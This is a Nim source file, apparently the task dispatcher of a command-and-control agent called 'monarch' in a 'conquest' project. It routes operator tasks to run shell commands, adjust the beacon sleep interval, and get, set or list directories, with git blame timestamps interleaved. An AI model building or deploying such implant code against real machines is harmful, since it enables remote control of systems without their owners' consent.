Files
conquest/agents/monarch/task.nim

43 lines
1012 B
Nim
Raw Normal View History

2025-05-29 15:26:50 +02:00
import strutils
import ./types
import ./commands/commands
2025-05-29 15:26:50 +02:00
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
# Handle task command
case task.command:
of ExecuteShell:
2025-05-29 15:26:50 +02:00
let taskResult = taskShell(task)
echo taskResult.data
return taskResult
2025-05-29 15:26:50 +02:00
of Sleep:
# Execute task
2025-05-29 15:26:50 +02:00
let taskResult = taskSleep(task)
# Update sleep delay in agent config
2025-05-29 15:26:50 +02:00
if taskResult.status == Completed:
2025-06-02 21:14:13 +02:00
config.sleep = parseInt(task.args[0])
# Return result
2025-05-29 15:26:50 +02:00
return taskResult
of GetWorkingDirectory:
let taskResult = taskPwd(task)
echo taskResult.data
return taskResult
of SetWorkingDirectory:
let taskResult = taskCd(task)
echo taskResult.data
return taskResult
of ListDirectory:
let taskResult = taskDir(task)
echo taskResult.data
return taskResult
else:
echo "Not implemented"
2025-05-29 15:26:50 +02:00
return nil